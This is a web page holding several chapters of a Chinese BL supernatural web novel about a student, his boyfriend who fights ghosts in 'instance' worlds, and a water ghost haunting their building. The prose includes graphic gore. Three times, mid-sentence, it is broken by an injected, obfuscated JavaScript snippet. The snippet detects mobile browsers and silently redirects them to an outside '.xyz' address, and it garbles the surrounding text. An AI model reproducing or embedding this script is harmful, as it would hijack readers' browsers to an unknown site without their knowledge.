门一开,三个人面面相觑。 冯义盯着面前两个人的视线忍不住先开口打招呼,“嗨……” 卿向南倒是很高兴,“冯义?” 顾铭凌眼神冷冷地看了冯义一眼,侧脸问卿向南,“你室友?” “嗯,”卿向南看着冯义,“你怎么也搬家?” “也”? 冯义如临大敌,试探着问,“你也要搬来这里吗?” 卿向南摆了摆手,“没有啦,我跟顾铭凌来取点东西。” 冯义终于明白自己面前这个冷着脸的家伙是顾铭凌。 看来情报有误,顾铭凌看起来根本就不好相处。 领导说的那句“顾家的小辈虽然不常露面,但还是很重礼节的,你们相处起来就算不能成为朋友,也不会有什么大的摩擦”完全就没办法了。 这根本不可能继续相处了,好在那层楼已经有三家装修好了,他也不至于太尴尬,平时只能躲着人走了。 冯义把自己的东西抱起来,重新走进电梯里,对两个人道谢,“东西有点多,辛苦你们等我一起上去。” 卿向南倒是直接说没事,可顾铭凌根本不理他,不知道为什么对他这么排斥。 好不容易熬到电梯到了,一出门也还是三个人出门,冯义迫不及待地进了自己房间收拾东西,身后已经听见卿向南跟着顾铭凌进另一间屋子的声音。 他倒是能猜测到一点儿卿向南找顾铭凌的原因,大概是和早上那通电话有关,大概是知道顾铭凌从小住在道观,所以希望顾铭凌帮忙吧。 不再多想,冯义收拾好了东西,开始在家里布置简单的阵法。 另一头的顾铭凌则取出一叠符纸交给卿向南,告诉他把符纸展开贴好就能起到保护的作用。 果然取东西只是取东西,卿向南拿完东西就要走,顾铭凌也就顺口问他新屋地址,说没事干可以送送他。 卿向南取出手机看了一眼,把地址念给顾铭凌听。 顾铭凌眼皮跳了一下。 “确定是这个?” “嗯,是这个。” 顾铭凌打开门,把卿向南领到中间那扇门前,“到了。” 卿向南:“?” 顾铭凌言简意赅,“你家。” 正在此时,以为卿向南和顾铭凌早已经走掉的冯义打开了门,正看见卿向南微笑着输入第三间的密码,然后拉开门把手的动作。 他还来不及质问,卿向南已经看见了他,若无其事地对他说出犹如晴天霹雳的话。 “啊,冯义,好巧啊,我刚刚才发现我新家就在这里诶!” 说着,卿向南拉开房门,“今天谢谢啦,我就先回屋休息咯!” 砰!门一下子在两人面前关上,冯义不由得看向顾铭凌。 顾铭凌不知为何,就像碰了一鼻子灰一样,心情似乎不太好,看也不看冯义一眼,转身回屋。 冯义张了张嘴,什么也说不出来,只得转头提着打扫好的垃圾下楼去了。 他很想再换个地方住,但领导绝不可能再同意他的申请,也不会允许他在外面自己偷偷租房子。 冯义出单元门的时候耳边听见熟悉的声音回答门卫大爷的询问。 “嗯,帮对象搬的。” “哎哟,小伙子真不错,女朋友肯定很喜欢你吧?今天很适合搬家啊?刚刚已经有一个新搬进来的小伙子了。” 对方带着笑意的声音纠正了门卫大爷,“是男朋友哦,老人家。” 冯义眼前一黑,勉强自己走到垃圾站,把手里的垃圾扔了进去。 没关系的,冯义,你不会也变成男同的,你要相信自己! 冯义站在垃圾堆前,默默握紧了拳头,暗自发誓。 7. 我问你垃圾桶里是什么 卿向南进了屋子以后总算觉得安全了,这个时候也忍不住想上厕所了,连忙进了一旁的厕所小解。 他扶着衣服下摆,小腹总算慢慢放松下来,结束以后一边洗手,一边打量房间。 显然闻时秋早就准备好了这间屋子,里面也有闻时秋生活过的痕迹。 走到卧室时他注意到房间垃圾桶里有一些皱成团的卫生纸,他觉得脏脏的不想碰,打算等闻时秋回来了再让闻时秋收拾,但余光却看见鼓鼓囊囊的东西,小水袋一样地打了个结扔在里面。 卿向南没管,只是觉得臭臭的,等闻时秋上来以后,还没有先帮卿向南放东西,就被卿向南用脚碰了碰小腿,下巴指了一下地上的垃圾桶。 “先把那个收拾了。” 闻时秋看了一眼,整个人有点儿僵硬。 偏偏卿向南还捂着鼻子皱眉抱怨,“臭臭的。” 闻时秋将垃圾袋套好准备拿垃圾下去扔的时候,还听见卿向南跷着一条腿,目不转睛地玩游戏。 因为穿着宽松的居家服,背靠在软垫上,带着点儿嫌弃的发号施令。 “和我住的话不许把臭臭的东西弄在屋子里,”卿向南皱着眉,很嫌弃地看垃圾袋一眼,“脏死了。” 不知怎么的,就这么个场景,弄得闻时秋心里咯噔一声,喉结滚了一下。 只半跪在地上没说话,也没敢怎么动作。 反倒是卿向南打完一把,放下手机,光腿踩着地面走到他面前。 骨肉匀停的小腿停在他身旁,“是你弄出来的脏东西吗?” 闻时秋沉沉嗯了一声。 卿向南抱怨了一句,“老公你弄出来的脏东西臭臭的,味道好重。” 闻时秋实在有点儿头皮发麻,难堪中,又忍不住想让卿向南说更多。 他怎么没发现他居然还有这种癖好…… 只是想一想卿向南以各种表情说,老公的脏东西臭|臭的,不要弄在外面,脑子里就开始犯浑。 又因为今天开始居然就能和卿向南同住,也更是有点儿情绪激烈。 只是总担心自己不小心欺负了人,此刻被对方这样说,哪怕是无意的,竟然也觉得……好爽。 · 等到晚上睡觉的时候,闻时秋有点儿惊讶地看见卿向南从衣服兜里掏出符纸往床头贴。 “哪儿来的?” “问顾铭凌要的,这个就可以保护我晚上不被鬼压床了。” 闻时秋本想追问卿向南和顾铭凌的相处,但卿向南下一句话就是,“昨晚的鬼烦死了,也不知道是不是什么肥猪丑鬼,正经鬼才没有那么下|流。” 闻时秋立刻心虚,说不出话来,只能干咳一声,委婉道,“难道不相信我能保护你吗?在家里用别的男人的东西……” “你不是都不相信有鬼?”卿向南翻了个白眼,“而且我不跟你一起睡觉,你去睡客厅!” 闻时秋被卿向南从床上往下推,“我们都没大学毕业呢!你滚开滚开去客厅去客厅!” 闻时秋就这样被卿向南推出了房间,门砰的一声在面前关上,他哑然失笑,摸了摸鼻子,正打算转身,又看见卿向南打开门,只把一张脸挤出来。 “不许乱跑哦,你在客厅保护我安全。” “好的,遵命。” 于是门又被关上,只不过这一次是轻轻合上了。 这一晚卿向南倒是睡得很好,只是醒来时不由得有些困惑,忘了自己已经搬家。 他从床上坐起来,冷不丁看见陌生的家具,心里忽然害怕,又不敢下床,伸手拿手机时,余光看见黑色的手臂状东西匍匐在床上,好像是从床下伸出来的,忽然发出一声颤抖的呜咽,咬着唇哆哆嗦嗦喊闻时秋的名字。 声音太小了,根本传不出去,想大声喊,可是喉咙像是被捏住一样,眼泪大颗大颗往下掉,缩在被子里给闻时秋打电话。 电话很长时间无人接通,卿向南也慢慢缓过神来知道自己是搬了地方住,可是闻时秋不是就在客厅吗?为什么这都不过来?想象中他已经被厉鬼环绕,于是在电话终于接通的瞬间,卿向南大哭出声,脱口而出一句“渣男!” 这一声渣男把声控灯啪地点亮,卿向南感觉到光的存在,心里放松了一点儿,又因为听到闻时秋的声音,壮着胆子从被子缝隙往外看了一眼。 那条手臂一样躺在床上的只是一条滚在一起的毯子,一头已经落到床下。 那一头的闻时秋显然刚结束什么,换了个地方才跟卿向南说话。 “对不起宝宝,我有事出去一趟。” 他没问自己到底哪里又渣男了,总之卿向南既然这样骂肯定是生气了,他又临时跑到外面来,卿向南醒来见不到人发脾气也是合理的。 卿向南从床上坐起来,把灯打开,充足的光线让他心里好受许多,整个人用被子把自己裹住,只露出一双眼睛,手机贴在耳边,闷得脸颊发红也不出去。 “不是说不出去吗?” 【不错,宿主,现在四点钟,狠狠打电话骂他,折磨他。】 只是真的被毯子吓到的卿向南假装自己在完成任务,开始有理取闹。 “对不起,” 闻时秋认错得太快,他根本闹不起来。 也不知道闻时秋出去是在做什么任务,凌晨四点的屋子静悄悄的,汗水划过卿向南的鼻尖,他不太想继续睡觉了,于是拉着闻时秋说话。 说之前还问了问系统。 【他这个时候没有在忙正事吧?】 系统回。 【陪你就是他的正事,宿主拿出作精的绝悟来好吗?不过他现在确实已经不在副本里面了。】 卿向南于是一本正经道,“我梦见你出轨了,我要跟你分手,你气死我了。” 漆黑的尸血顺着闻时秋的下巴滴落,手机外面套着保鲜膜上全是红色的鲜血,闻时秋听到卿向南的话不由得一笑,周围几人被他吓得后退几步。 却只听闻时秋极为温柔地回答,“怎么会不爱你?” 闻时秋转身,靴底踩过地面的血肉,将一颗心脏踩碎,“要是能把心掏出来给你看就好了,这样你就知道我多爱你了。” 他说话时没有看身边其他的幸存者,却有人已经因为这句话吐了出来。 闻时秋终于回头,看向呕吐的人,比了个噤声的手势。 呕吐的人捂住嘴,一旁有人过来带他离开。 这次副本死伤惨重,即使是闻时秋也受了伤,如果进入这个副本里的人没有闻时秋,其他人一定会无一生还。 但因为闻时秋这一次表现的手段实在太血腥暴力,所以这一次竟然没有一个人在出来后敢再靠近他。 卿向南哼了一声,“你根本就不爱我!” 他开始细数闻时秋的罪恶,显然除了“梦里的出轨”,还有别的事实依据。 “四点钟给你打电话你居然响了三声才接!上个月你漏接我电话三次!分手吧狗男人!” 闻时秋面上露出笑意,却没有发出笑声,只是用湿毛巾抹了一下脸,“宝宝我没有,你听我解释……” 卿向南说,“好啊,那你现在就回来,顺便给我写三千字检讨书,不许照着网上抄!不然你死定了!” 小卿总是这样,好可爱。 闻时秋说,“好,我马上到。” 他接过闻家人递来的清洗剂,快速地冲洗身体,声音瞬间变得冰冷。 “不是说过今晚不要来找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985790|161536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我吗?” “家主说这次一定要您来,提前进入一次鬼婚有助于您以后在尸陵中存活。” 闻时秋冷笑一声,面无表情地换好干净的新衣服,只在临走前说了一句,“把铃铛给我,其他的你们原样带回去。” 他所说的铃铛是本次副本的任务物品之一,由红黄软线编织,悬着三枚浑圆的铃铛。 这是沾染了尸气和鬼气的物品,如今鬼新娘已经被吞噬杀死,鬼新娘的鬼蜮也已经消失不见,这个副本也不会再有人进入。 换句话说,即使是佩戴了铃铛也不会再被拉入鬼新娘的鬼蜮,但因为有了铃铛,其他的鬼蜮不会主动找上已经被标记好的猎物。 闻时秋打算把铃铛带给卿向南用,总比那些华而不实的符纸强些。 老实说他还没有在副本里和顾铭凌撞见过,但对顾铭凌的敌意已经不是一点儿两点了。 回到家时太阳已经升起,卿向南还窝在床上等他。 闻时秋推开门进来,卿向南看见是他,从被窝里钻出来要他抱。 “我脚蹲麻了,”卿向南蜷缩在被子里太久,等到发现时已经因为双腿血液循环不畅而从脚尖一直麻到腰后,这下看见闻时秋了,本来还在诉苦,忽然又记起自己的任务,连忙要求闻时秋快点写检讨书,“一个字都不许少,我监督你!” 闻时秋一夜没睡,但大部分从鬼婚中走出来的人也都睡不着,于是坐在床边,掏出本子开始在上面写检讨。 一边写一边念,卿向南脸红道,“不许念出来。” 闻时秋忍不住反问他, “明明是你让我写,怎么还不让人念啊?” 卿向南整个人靠着闻时秋,一边给自己揉发麻的皮肤,一边哼哼道,“我觉得你在取笑我,所以不准念。” 于是闻时秋闭嘴写检讨,写了一会儿,再回头,卿向南已经抱着他的手臂睡着了。 阳光穿过落地窗洒在卿向南的眼睫上,因为卿向南睡得很香,所以闻时秋维持着那个姿势再也没动一下。 梦里,卿向南梦到自己回家,父母做好了一整桌饭菜,他坐下正准备开始吃,忽然察觉到池练诗来了。 于是卿向南连忙打开门,让池练诗一起吃。 “干脆练诗哥哥跟我们一起住吧,我说真的啦!这样我也有人每天一起玩了。” 卿向南给池练诗挑菜,堆了很多,池练诗却没有吃,卿向南于是拉住池练诗的手往自己房间走。 “我知道啦你想吃零食,有时候我也觉得吃零食比吃饭香。” 走着,卿向南忽然觉得不对。 他握着池练诗的手,有点儿困惑地问池练诗。 “你的手好凉啊。”卿向南握住池练诗的手帮他暖热,又觉得还是太冷了,于是抓着池练诗的手按在自己的脸上,一左一右,一个捧着他脸的姿势。 “池练诗哥哥,你怎么这么冷?” 池练诗只看着卿向南,低声说。 “可能是风太大了,小卿。” 他把手收了回来,轻声道,“这样捂着,会冻坏你的。” 卿向南茫然地睁开眼睛,坐直了身子。 闻时秋这才合上本子,帮他理了理衣服。 “早餐想吃什么?” 卿向南有点儿记不起来刚才的梦了,下意识念了一堆菜名让闻时秋点外卖。 忽然,他想起了什么,问系统。 【池练诗是什么时候下线来着?】 【嗯?还有一段时间吧?】 系统看了看剧情,也有点儿不太确定。 卿向南心想也是,不过还是打算先回家一趟,毕竟他都开始跟闻时秋一起住了,被带入无限世界也只是时间问题了。 8. 水痕 卿向南吃早餐的时候收到了顾铭凌的消息。 【很会玩的学神:昨晚睡得怎么样?】 除了醒过来的时候自己把自己吓到,其实昨晚应该算没什么异常,因此卿向南回复道。 【睡得很好,谢谢你的符纸。】 这对卿向南来说只是个插曲,吃完早饭以后就准备回学校上课,他计划这周末回家看看,顺便看看池练诗。 只出门的时候看见门外有一摊水,不知道哪里来的,卿向南没在意,手腕上戴上了闻时秋给他的铃铛手环,在电梯门口等了一小会儿,刚好看见冯义出来,于是顺理成章蹲到人一起出门。 因为闻时秋在睡觉休息,他也没让闻时秋送他,顾铭凌好像一早就出门了,思来想去只能蹲一蹲冯义。 好在都是一个班的,说是顺路上学也很自然。 只是冯义也太不爱说话了一点儿,在电梯里就只是笔直地站着,一定要他问话才会回答几个字。 大概是不好意思吧,卿向南很懂这点,毕竟冯义才从国外回来,人不生地不熟的,更需要他的关心。 他几乎可以预见自己和冯义变成朋友的未来了,之后说不定自己在学校里也能有更多朋友了。 于是出电梯时卿向南很自然地对冯义说,“等下上课我们坐一排吧?” 冯义啊了一声,卿向南已经自顾自地计划了起来。 “你才从国外回来,这边的课程肯定落下有一些啦,这个老师会随堂测试的,平时成绩占比蛮高的,你要是有不会可以偷偷看我的!” 冯义又啊了一声。 “还是不了吧,我习惯一个人坐。” 卿向南面露失望,“这样吗?” 冯义不知道为何良心疼痛了一下,但他明明觉得自己说的都是正当要求,竟然有点儿汗流浃背。 等到打车去学校的时候,卿向南跑过来跟他挤一辆车。 “我们一起打车比较省钱!” 这是个不能拒绝的理由,何况冯义刚刚已经拒绝过卿向南一次,实在没办法再说什么狠话。 他只是靠着车门坐着,尽可能想离卿向南远一点,但卿向南坐进车里以后倒是没再说什么,甚至还认真地整理起课本。 看起来居然是真的会认真上课那种人。 冯义看见卿向南抬头,不由得收回视线,假装看窗外。 却不想卿向南抬头是给他递了一份东西。 “给你给你,我自己整理的知识点!” 除了特别难拿高分的课,卿向南都是靠自己搞定的,今天这门课难度中上,他有意好好帮助一下才回国的同学。 冯义接过卿向南递来的东西,他长时间在部门安排下完成任务,学业只是勉强及格,大学本来也只是混个毕业证。 所以卿向南递给他的东西他根本看不太懂。 但是不妨碍他产生一种学渣对学霸的敬畏感,哪怕这个学霸有时候看起来傻傻的还是个他最害怕的男同。 冯义手里捏着几张纸,简直像是拿着烫手山芋,半晌才憋出来一句,“谢谢。” 没想到更让卿向南笃定他只是有点内向。 冯义感觉有点儿坐牢了。 他在心里安慰自己,没关系,假期最后一天了,明天就要去工作了,就不会见到卿向南了。 没事的,会好的,比起面对卿向南,还是在鬼蜮里面对鬼更好处理一点。 · 顾铭凌是出门的时候发现不对的,掌心的天师纹突然一烫,他没有像往常一样往前走,而是背靠着墙壁,屏住了呼吸。 此地风水极好,古人偶尔也能推算到极好的风水,却因为地点位于离地面极高的地方,而不能凭空居住,但如今是现代高楼,他在家族长辈的安排下进入这里,身边的鬼也稀少了许多。 按道理来说这里是不会有什么鬼靠近的,可此刻,他身边阴魂不散的小鬼已经仓皇跑开,有走得慢的,已然被看不见的东西践踏般消散无形。 但是对方甚至还没有真正“走过来”。 只在楼道里,最不可能出现的东西出现了。 沾着血迹的锁链在地面拖动,一人打伞,一人持扇,两道高高瘦瘦的人影头顶着天花板从顾铭凌面前走过,那柄巨大的白色纸伞和纸扇仿佛纸扎的一般脆弱。 鬼差淌过地面的水痕时停顿了一下,接着便迅速往前,在此期间顾铭凌几乎快要窒息,却还是没有敢喘气。 直到鬼差离开,他才顺着楼梯快速下去。 有鬼来了这里,而且是一个善念已去的恶鬼,否则不会惊动鬼差。 地面上的水痕,说明对方的死亡和水有关,或许是雨天,或许是坠入河中,这样程度的鬼不是一天两天能够形成。 顾铭凌握紧了拳,不敢让天师纹泄露。 他身上背着万鬼窟,如果被鬼差发现,那就不只是路过这么简单了。 顾铭凌走下楼,寻找到此处之气,将墨斗缠绕在手腕上,开始推算那水鬼的鬼气。 那鬼气一路从小区外面进入到了单元楼,显然是有所寻。 沿着痕迹,他重复了水鬼的路线,从冯义的门前一路走过卿向南的屋子,再到自己门前,看见水鬼就这么穿了出去,之后的踪迹就再难推算了。 既然找不到水鬼去了哪里,那就只能推算水鬼的来路,顾铭凌请了假,一人沿着马路开始推算,他可以用眼睛看见,但此刻是白天,正气太足,鬼气也难以用肉眼分辨,因此竟然很是耽误时间。 中途坐下来吃早饭的时候想起卿向南似乎怕鬼,不由得给对方发去消息。 他感觉到卿向南身上沾了点东西,但离得太远,感应不清。 看到卿向南回复的消息,顾铭凌暂时放下心来,标记好地点以后,才继续寻找水鬼的来路。 随着他一路往前走,身边的鬼也越聚越多。 那些鬼渴望着进入万鬼窟,又有鬼是极不情愿地,被万鬼窟里的鬼召来的。 他们或爬或攀,全都挂在他身上。 入目所及已经是一片地狱,哪怕有日光压着鬼气,但那也只对残留的鬼气有效,他身边的这些鬼仍然清晰可见。 顾铭凌听见咔嚓一声,他没有回头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985791|161536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但还是看见了一颗脑袋咕噜着滚到他脚边。 一具穿着戏服的无头尸伸出蜘蛛般的长手将它捡起来,然后往腰上串。 “九十九……” 它这么说着,伸手往顾铭凌的后背里掏,似乎是在找什么。 顾铭凌反握住它的手,掌心的天师纹似泛起金光,烫得鬼怪皮肉滋滋作响,那无头鬼发出凄厉的叫声,却怪罪顾铭凌。 “真小气,我捡点脑袋用罢了。” 顾铭凌闭眼,已经看不见水鬼的鬼气了。 他只能完全靠推演来找水鬼的来路。 这样的鬼,如果没有被鬼差吞噬,那么想必很快就会形成鬼蜮开始杀人,如果被鬼差吞噬,那么鬼差只会变得更强,当鬼差开始杀人的那一天,他们要付出的代价只会更严重。 · 卿向南发现了冯义上课不认真。 因为上课期间冯义不断地看手机,似乎很忙的样子,不停地回复手机上的消息。 这样的话讲台上的老师好可怜啊,可是卿向南也不好说冯义什么,毕竟这是各自的自由,于是干脆不管对方了。 直到课间休息的时候,他才发现冯义不知道什么时候已经翘课走了。 他还以为去当交换生的都是优等生呢!没想到还有冯义这样的啊? 这个点闻时秋也还在休息,卿向南收拾完东西就准备回去,生怕碰到讨厌的人。 只是在路过同学的时候余光发现他们在讨论一个新闻。 “真的假的?水臭了那么多天没有人管?” “说是味道很怪异,那几天小区好多人去外面买水喝呢。” 卿向南想问他们,可很快想起大家平时都爱躲着自己,干脆没有问了,自己去搜消息来看。 【是什么剧情吗系统?】 系统回答得很快。 【小说里有很多随笔一提的描写,比如有的小区有很多人自杀,有的小区一夜之间变成空城……相比之下自来水臭了也很“正常”了。】 卿向南搜了一下,发现不是自己的小区,也不是爸妈住的小区,于是放下心来,打了车返回。 系统说得在理,这种世界里面,最后的异常只会越来越多的,自来水臭了想也知道是因为有人死在水箱里面了,真的还挺可怕的。 这么想着,卿向南路过超市时停了一下,还是打算这几天先买超市里的纯净水用。 他看时间已经到中午了,想着闻时秋怎么也该睡醒了,于是给闻时秋留了信息,自己去超市里问老板进货。 超市老板脸上盖着一张毛毯,像是在睡觉,听见有人进来也没看一眼,就连卿向南问他纯净水多少钱,怎么买也只是含糊不清地说了一下位置,让卿向南自己打电话问。 没见过这么懒的,卿向南自己找到超市角落,对着地上的几桶水挑选起来。 水桶放在地上,他的影子从上面模糊地飘过,下一秒,又有新的东西飘了过去。 卿向南蹲下身,扶着桶身看上面的生产日期。 塑料桶里的水一晃,隐隐约约浮现起一张脸来。 9. 水鬼 这些桶装水是今天才生产出来的,比卿向南想得新鲜,他对比了几个牌子,实在区分不了哪个更好,于是选了设计得更好看的那个。 因为自己提不起水桶,所以很自然地喊老板帮自己搬到推车上,想自己推回家去。 可是叫了老板几声,老板也爱答不理的,卿向南不得不走过去,伸手拍了拍桌子。 “喂,干嘛不理人啊……” 他蹙着眉尖,手指伸向老板脸上的毛毯,即使面对陌生人,说话时也似是撒娇,“叫你好多声了呀……” 看不见的漆黑鬼气沿着毛毯扩散,接触到铃铛时却忽然一顿,然后绕开。 卿向南毫无察觉,只在扯下毛毯的瞬间,忍不住手指颤抖,整个人差点儿跪坐在地上。 那张毛毯扯下来时手感异常,血丝粘连,老板面朝上躺在超市里,整张脸已经被剥下,黏在了毛毯上。 闻时秋接到电话时只听到卿向南的哭声,含糊不清地喂了一声,他立刻从床上坐起,皱眉问,“宝宝?” “老公……”卿向南没出息地流眼泪,“来、楼下超市接我,我好害怕……” 他双腿发抖,膝盖并在一起,用力扶着柜台才没有倒下去,勉强半趴在柜台上给闻时秋拨去电话,泪珠顺着雪白的脸颊直往下淌,连续不断地沿着下巴尖滴落。 简直像是下雨。 小腿肚甚至因此抽筋,可那张血肉模糊的脸还那么仰着朝上,甚至因为失去了脸皮的遮盖,能够看见对方两排白森森的牙齿,和少许脂肪下大块大块的红肉。 卿向南吓得直哭,艰难地往外走。 他靠着柜台移动到超市门口的时候,整个人虚脱一样地抓着门框,终于看见了闻时秋跑过来的身影。 被闻时秋抱进怀里的时候卿向南终于忍不住了,咬着唇呜呜骂,“你怎么这么慢!” “对不起宝宝。”闻时秋看见他背后被剥走脸皮的人,不由得将卿向南的头按进怀里,皱眉给闻家人打了电话。 “你在报警吗?”卿向南埋在他胸前,瓮声瓮气地说,“你要记得报警啊,其他人好像没有发现这里死人了。” “嗯,”闻时秋道,“我在报警的。” 电话那头的人自然不会不懂闻时秋的意思,“明白了,少爷,我们会立刻派人来处理的,也会安排警局介入。” “少爷您希望这次事情是——” “应该出了什么意外吧,”闻时秋抱着卿向南,抬腿将超市门关上,“或许是什么恶性犯罪。” 总之别按照灵异事件处理,就像往常一样。 可以防范的人类所为的事件再恐怖血腥,也可以用人的办法中止,普通人也会觉得警局能够带给他们安全感。 但如果是无限世界里那些灵异恐怖的东西,就不是常人能够接受得了。 何况如果让卿向南知道自己真的遇上了鬼,恐怕会被吓到睡不着。 闻时秋半搂着人回了房间,正给卿向南倒水喝的时候,卿向南忽然说,“我不要。” 他从闻时秋怀里抬起脸来,脸颊上犹可见清晰泪痕,眼眶通红,吸了吸同样发红的鼻尖,“我看到新闻说有的地方自来水发臭了,我不想喝。” “好。”闻时秋打开家里备好的矿泉水瓶,倒进热水器里冲洗一下,又重新给卿向南烧水。 “没事的,我在这里。” 卿向南坐在他腿上,伸手圈着他的脖子,看起来情绪好了些,不那么害怕了。 从这一点来说卿向南的心理素质其实也相当强大。 “我刚刚吓死了,我还用手摸了那个毯子,”卿向南忽然松开抱着闻时秋脖子的手,着急地说,“你快帮我洗洗,等下,你也洗洗你身上,我摸过你哪里啊?会不会不小心碰到了尸体的血也涂到你身上了。” “干脆洗个澡吧,这样就不担心了?”闻时秋打开仅剩的一瓶矿泉水,捉着卿向南的两只手冲洗,手指捏住卿向南的指尖,连指缝也好好洗了干净。 卿向南自然对他的提议很心动,只是他还是不太想用家里的水洗澡,干脆把刚才挑选好的饮用水牌子电话拿给闻时秋看,让闻时秋联系对方送水。 冯义回家的时候正好看见送水工往卿向南家里运水,一次性囤了十几桶,看得他有点儿咋舌。 他才收到了水鬼的消息,组织让他准备一下可能要进入水鬼的鬼蜮,于是又请了长假。 通知辅导员的时候,辅导员倒是习以为常,“没事,你不算请假长的,隔壁学院的顾铭凌也请了假,哦,跟你同班的卿向南,刚才也请假了。” 他回家的时候还数了数自己的存款,思考要不要也干脆买桶装水用比较好。 结果立刻就看见卿向南这边如此的财大气粗。 就算是也看到了水污染的消息,但是也没有污染到这个小区,又不像是要进入鬼蜮的人,没必要这么洁癖吧? 但是仔细一想,如果对象是卿向南的话好像又说得通了。 他觉得大概因为是男同的原因吧,卿向南看起来就是比较娇气那种人。 他队长就很爱看这种漫画…… 哪里都是粉的…… 不! 冯义倒吸一口凉气,将不小心看见的那些图片从自己脑海中赶了出去。 无论是谁,在接收队长传过来的工作文件时突然发现队长发过来的其实是r21多人运动一受多攻的漫画也会崩溃的吧。 犹记得当时他弱弱地问队长,“是不是发错了……” 队长几秒以后撤回了上一个文件,给他发了新的。 “发错了。”语气中颇有点儿无事发生的淡然。 然而冯义……冯义本人到现在也无法洗去那一次的创伤。 太可怕了…… 更可怕的是这一次还不由得在脑子里浮现出了卿向南的脸,更可怕了。 冯义不敢多做停留,赶快回了自己家买饮用水,在手机上几番对比,终于找了个最便宜的买下。 为了做好进入水鬼鬼蜮的准备,这几天他都需要格外注意饮食,干脆吃住都在家里,只等着部门发来定位。 另一边的卿向南则跟家里通了个电话,问起池练诗的消息,“啊,练诗哥哥已经在面试找工作了?希望他找个好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985792|161536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工作啦!你们最近做了好吃的也记得给他分点!他要毕业了肯定很辛苦。” “嗯嗯,我在宿舍啦,什么嘛没有同居!诶呀不要说这种话!拜拜拜拜!挂电话了!” 卿向南挂掉电话,看见一旁的闻时秋,忍不住走过去扯闻时秋的脸,“刚刚是不是在偷笑啊?” “没有,”闻时秋衣袖挽起,线条流畅的小臂上却像侍应生一样搭着长毛巾,“热水都准备好了,过两天我会安排人在家里重新装修一下,之后用水就不会这么麻烦了,今天只能先将就一下,热水都是现烧的,是有点儿麻烦。” 浴室里一字排开六个保温水壶,浴缸里则是略烫的热水,正好适合卿向南洗澡。 卿向南放下手机,进了浴室,有点儿感动地说,“老公你对我真好。” 他跑到镜子前面拆自己的小辫子,忽然看见镜子里自己的倒影,一下子停了手上的动作,忍不住伸手捏了捏自己的脸蛋。 “我哭起来也很好看嘛……” 刚刚还吓得哭,现在一照镜子,竟然又忍不住有点儿臭美,还回头看闻时秋,“你说呀,是不是哭起来也好看啊?” 闻时秋只笑着点头,“嗯,很好看。” 卿向南忍不住笑,手指快速地拆开小辫,“是不是敷衍我啊?以前也这么说哦,怎么样都说好看,有没有觉得最好看的时候啊?还是根本都不好看,全都是在骗我?” “都很好看,什么时候都漂亮。” “什么时候最好看?” “都好看。” “好吧,那我什么样子你最喜欢?” 闻时秋忍不住一顿,张了张唇,“叫我老公的时候。” 卿向南脸一红,“那是啦,我也不是谁都叫老公的。” 他转过头去,忽然红着耳尖很小声地说,“我叫老公的时候,也经常觉得你很帅啦。” “好了好了!”卿向南把闻时秋推出浴室,“我洗澡了,你记得晚上吃的东西也要干干净净啊!” 卿向南关上浴室门,整个人也放松下来。 他脱掉衣服,泡进浴缸里时迟疑了一下,还是把手腕上的铃铛摘了下来。 铃铛没有声音,被他轻轻放在洗漱台上。 卿向南弯腰,用指尖试了试水温,忽然腰后一凉,是一滴水从天花板上落下来,滴在了他的尾椎骨上。 那滴水珠沿着尾椎往下,一直没入缝隙间,卿向南被凉得身体一颤,慌忙钻进了浴缸里。 果然这个时候洗澡最能放松心情了,待在温暖冒着热气的房间里,身体也跟着放松下来。 卿向南往掌心挤了沐浴露,仔细地搓揉指尖,可他只是动作了几下就停了下来,不由得有些困惑。 身上什么感觉也没有,只有接触着肌肤的水面略微波动。 于是他又捏着指尖,轻轻地搓了一下。 卿向南再次停下了动作。 好奇怪。 为什么感觉自己碰指尖的时候,指尖感觉被什么黏黏的东西包裹着,力气很大地捏来捏去。 自己好像没有用那么大的力气搓指尖吧…… 10. 老公,你快进来 难道是沐浴露的问题? 卿向南将手上的沐浴露冲洗掉,再重复搓洗指尖,发现那种奇怪的感觉消失了,似乎只有水滑过指尖的触感。 卿向南不疑有他,继续洗澡。 热水把他的皮肤蒸出粉来,沐浴露打出绵密的白色泡沫,顺着他的指尖涂抹地全身都是,浴缸上堆积的白色泡沫也越来越多,卿向南正打湿头发,忽然觉得小腿肚痒了一下,像是水流动时的触感,似乎也很正常。 他愣了一下,手指往下伸,曲起指尖摸了一下小腿——什么也没有。 卿向南忽然站起来,水流顺着他的身体滑落,他打开浴室门,颤颤巍巍地喊了一声闻时秋。 “老公,”雪白的肩头缩着,有点儿可怜地从门缝里露出被打湿的额发,“你快进来。” 